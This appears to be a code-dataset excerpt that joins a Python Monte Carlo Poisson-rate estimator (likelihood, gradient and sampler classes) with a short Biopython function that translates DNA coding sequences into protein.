# Report:
if verbose is True and (i+1)>=(self.conv_window*2) and (i+1) % self.conv_window == 0:
print('Iteration #: ' + str(i+1) + '; l1-norm change: ' + str(pctChange) + \
'; recovery time: ' + str(round(time.time()-t0, 2)) + ' seconds')
# average over last conv_window iterations' values
lamHat = np.mean(lamHistory[:, (i-self.conv_window+1):(i+1)], axis=1)
return lamHat, includeCheck, lamHistory, llHistory
def log_likelihood(self, p_agg):
r"""Compute log-likelihood and return the ~average (median/B).
Median used because of high variability of individual batch draws.
Outlier resistance important if using log-likelihood to inform convergence
Parameters
----------
p_agg: array_like
element-wise product of p(y|x) (an (S,B,) array) and
pqRatio (an (S,B) array or an (S,) array if sample_same=True)
Explicitly: p_agg for any element is p(y_b|x_s) * p(x_s|\lamHat) / Q(x_s)
where Q is the sampling function
Shape: (S, B,)
Returns
-------
ll: average log likelihood of p(y_b|\lambda)
"""
S, B = np.shape(p_agg)
likelihood = (1/S) * np.sum(p_agg, axis=0) # of all batch elements
ll = np.median(np.log(likelihood)) / B
return ll
def gradient(self, X_s, lamHat, p_agg):
"""
Compute MC gradients based on pre-computed measurement/sampling likelihoods
p(y|x), Q(x_s) (p_agg) and Poisson likelihoods (samples X_s, current estimate lamHat)
Parameters
----------
X_s : array_like
Sampled X's
Shape (N, S, B) or (N, S, 1)
lamHat : array_like
current estimate of lambda. Shape (N,)
p_agg : see log_likelihood()
Returns
-------
grad: array_like
batch gradient
Shape: (N,)
"""
_, _, sameSamples = np.shape(X_s) #same samples over each iteration
S, B = np.shape(p_agg)
grad = np.zeros((self.N,))
#Note - it's ok if grad = 0 if all sumChecks fail - equates to waiting
#until next iter
sums = np.sum(p_agg, axis=0)
sumCheck = sums !=0
if np.size(sumCheck) != 0: #else just return zero vector
if sameSamples == 1:
xOverL = X_s[:,:,0] / lamHat[:, None] #(N, S)
grad = np.sum((xOverL @ p_agg[:, sumCheck]) / sums[sumCheck] - 1 , axis=1)
else:
xOverL = X_s / lamHat[:, None, None] #(N, S, B)
numer = np.einsum('ij...,j...->i...', xOverL[:,:,sumCheck], p_agg[:,sumCheck])
grad = np.sum((numer / sums) - 1, axis=1)
grad = grad/B
return grad
class Sampler(ABC):
@abstractmethod
def sample(self, Y, S, seed=None):
"""Generate samples of X for each column of Y
Parameters
----------
Y : array_like
Observations to sample according to. This array must have
shape ``(M, B)``.
S : int
Number of samples to draw for each Y.
seed: Random seed for drawing
Returns
-------
X : (N, S, B) or (N, S, 1) ndarray
S Samples of X for each of B columns of Y. Last dimension is 1 if
same samples apply to all batch elements
"""
pass
@abstractmethod
def pq_ratio(self, X):
"""
Get the ratio of probability densities of input X
P(X|self._lam)/Q(X) element-wise
Where P(X|self._lam) is the Poisson probability of each entry in X
Q(X) is the sampler's probability of drawing that X
Parameters
----------
X : array_like
N-dimensional Vectors within range of Sampler.sample(), stacked in columns of array
Shape: ``(N, S, B)`` or ``(N, S, 1)``
Returns
-------
ratio : array_like
Probability densities Q(x) for all X
Shape: ``(S, B)``
"""
pass
class PoissonSampler(Sampler):
def __init__(self, lam, sample_same=True, seed=None):
"""
As used in [1]: Q(x) = P(x|lamHat)
Parameters
----------
lam : array_like (float)
Poisson rates from which to draw
Shape: ``(N,)``
sample_same : bool
Whether to use the same X samples for each column of Y.
"""
self._lam = lam
self._sample_same = sample_same
self._generator = np.random.default_rng(seed)
def sample(self, Y, S):
N, = self._lam.shape
_, B = Y.shape
if self._sample_same:
X = self._generator.poisson(self._lam[:, None, None], (N, S, 1))
else:
X = self._generator.poisson(self._lam[:, None, None], (N, S, B))
return X
def pq_ratio(self, X):
_, S, B = np.shape(X)
#With Poisson sampler - always sampling according to the current lambda value in the sampler
ratio = np.ones((S,B))
return ratio | 15,518 | 4,562 |
"""Use translation table to translate coding sequence to protein."""
from Bio.Data import CodonTable # type: ignore
from Bio.Seq import Seq # type: ignore
def translate_cds(cds: str, translation_table: str) -> str:
"""Translate coding sequence to protein.
:param cds: str: DNA coding sequence (CDS)
:param translation_table: str: translation table
as defined in Bio.Seq.Seq.CodonTable.ambiguous_generic_by_name
:return: str: Protein sequence
"""
table = CodonTable.ambiguous_dna_by_name[translation_table]
cds = "".join(cds.split()) # clean out whitespace
coding_dna = Seq(cds)
protein = coding_dna.translate(table, cds=True, to_stop=True)
return str(protein)
| 734 | 239 |